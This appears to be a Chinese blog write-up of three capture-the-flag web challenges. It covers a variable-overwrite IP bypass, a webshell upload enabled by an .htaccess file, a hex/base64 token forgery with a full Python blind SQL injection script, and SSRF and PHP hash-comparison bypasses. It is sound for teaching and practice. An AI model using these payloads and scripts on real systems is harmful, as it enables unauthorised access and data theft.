Dragon-CTF web方向 write up(全)

Dragon-CTF web方向 write up(全)

一点废话:
最近想锻炼一下写博客的能力,所以就开始记录一下最近干的事了,这是第一个自己AK的比赛,虽然难度真的很低T^T,但是也给自己提供了一点点坚持学下去的动力吧。。。。。希望自己能坚持下去

ezsign

  • 通过dirsearch扫出来了index.php.bak,关键源码如下:
    在这里插入图片描述
  • 看见extract($_GET);就应该想到变量覆盖漏洞,后面有$_SERVER['REMOTE_ADDR']的验证,那直接传参?$_SERVER[REMOTE_ADDR]=127.0.0.1就直接可以绕过了
  • 绕过之后就可以进行文件上传了
    在这里插入图片描述
  • 直接上传一句话木马的php文件但是发现不能正常解析,源码直接回显了,想了一下应该是配置文件里面进行了相关设置,那我们自己上传.htaccess文件改配置就可以了,.htaccess文件内容如下
    php_flag engine on	# 打开php解析
    AddType application/x-httpd-php .php	# 将该目录及子目录的所有文件均映射为php文件类型
    
  • 上传之php文件就可以正常解析了

EzLogin

  • 进入页面查看源代码发现提示register.html,访问进行注册,注册成功后进行登录,自动跳转到home.php页面,但是页面回显信息显示you are not admin,说明需要身份伪造
  • 抓包发现,在登录成功后,服务器会给我们设定一个TOKEN
    在这里插入图片描述
  • TOKEN进行十六进制解码然后base64解码:{"username":"admin'/**/and/**/select#", "token":"bfd531fa2ca0d94aa49a0bc25f715972", "is_admin":0},将0改为1就可以进行身份伪造
  • 身份伪造之后可以成功进入home页面,页面信息为:
    在这里插入图片描述
  • 很明显是根据名字查询密码了,那说明可以注册的时候,在username这里写入sql语句进行注入,注出来admin密码为@q^4*!z8a9-%42z.s~
  • 经过测试发现sql很多关键词被过滤了,但是andselect等还是可以用的,考虑盲注
  • 由于要先注册,然后登录,然后篡改TOKEN,最后再访问home.php页面,所以得写个脚本了
    import requests
    import base64
    import binascii
    
    url = "http://challenge.qsnctf.com:30343/"
    result = ""
    for i in range(,60):
        string = "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890,-abcdefghijklmnopqrstuvwxyz}{_"
        for j in range(32,128):
        # for j in string:
            # 爆数据库
            # data = "admin'/**/and/**/(ascii(substr((select(database())),{},1))={})/**/#".format(i,j)
            # 爆表 user,secret
            # data = "admin'/**/and/**/(ascii(substr((select(table_name)from(information_schema.tables)where(table_schema=database())limit/**/0,1),{},1))={})/**/#".format(i,j)
            # data = "admin'/**/and/**/(substr((select(table_name)from(information_schema.tables)where(table_schema=database())limit/**/1,1),{},1)='{}')/**/#".format(i,j)
            # 爆列
            # data = "admin'/**/and/**/(substr((select(column_name)from(information_schema.columns)where(table_name='secret')limit/**/1,1),{},1)='{}')/**/#".format(i,j)
            # 爆值
            # data = "admin'/**/and/**/(substr((select(sseeccrreett)from(secret)),{},1)='{}')/**/#".format(i,j)
            data = "admin'/**/and/**/(ascii(substr((select(sseeccrreett)from(secret)),{},1))='{}')/**/#".format(i,j)
            # 注册
            register_data = {
                'username': data,
                'password': '123'
            }
            register_response = requests.post(url = url + 'register.php', data=register_data)
            # print("Registration Response:", register_response.text)
    
            # 登录
            login_data = {
                'username': data,
                'password': '123'
            }
            login_response = requests.post(url = url + 'login.php', data=login_data, allow_redirects=False)
    
            token = login_response.headers['Set-Cookie'][6:]
            # print("Original Token:", token)
    
            # 伪造token
            decoded_hex = binascii.unhexlify(token)
            decoded_base64 = base64.b64decode(decoded_hex)
            # print("Decoded Base64:", decoded_base64)
            modified_base64 = decoded_base64.replace(b'"is_admin":0', b'"is_admin":1')
            # print("Modified Base64:", modified_base64)
            encoded_base64 = base64.b64encode(modified_base64)
            encoded_hex = binascii.hexlify(encoded_base64).decode()
            # print("Encoded Hex:", encoded_hex)
    
            # 访问home.php
            # Step 4: Access home.php with the modified token
            headers = {
                'Cookie': 'TOKEN=' + encoded_hex
            }
            home_response = requests.get(url = url + 'home.php', headers=headers)
            # print("Home Response:", home_response.text)
            if '@q^4*!z8a9-%42z.s~' in home_response.text:
                result+=chr(j)
                # result+=j
                break
        print(result)
    

穿梭隐藏的密钥

  • ctrl+u查看源代码,发现c3s4f.php页面

  • 提示fuzz参数,fuzz出来参数为shell

  • 传参shell=123,出现curl error,说明存在ssrf

  • 发现只能使用http协议,并且127.0.0.1被过滤,通过http://sudo.cc绕过

  • 然后尝试了很多方法,测试过程中发现存在flag.php但是没有回显,直接提示要找秘密文件,然后就很无语的情况下传参?shell=http://sudo.cc/secret.php,得到提示路径cha11eng3.php以及key=MSIBLG(看来作者是BLG粉丝哈哈)

  • 路径cha11eng3.php的源码:
    在这里插入图片描述

  • 第一层绕过:传参?DrKn=data://text/plain,MSIBLGMSIBLGcha11eng3.php得到,输出key1=M_ore.8

  • 第二层绕过:M[ore.8=0e001233333333333334557778889(参考[第四届-强网杯]:Funhash)

  • 第三层绕过:wtf[]=1&mC[]=2POST方式传)

由于没打算写这篇博客,所以很多图都没存,写的时候已经没有环境了,所以感觉有很多没写清楚的地方,不过没事反正也没有人看嘻嘻

  • 9
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 6
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值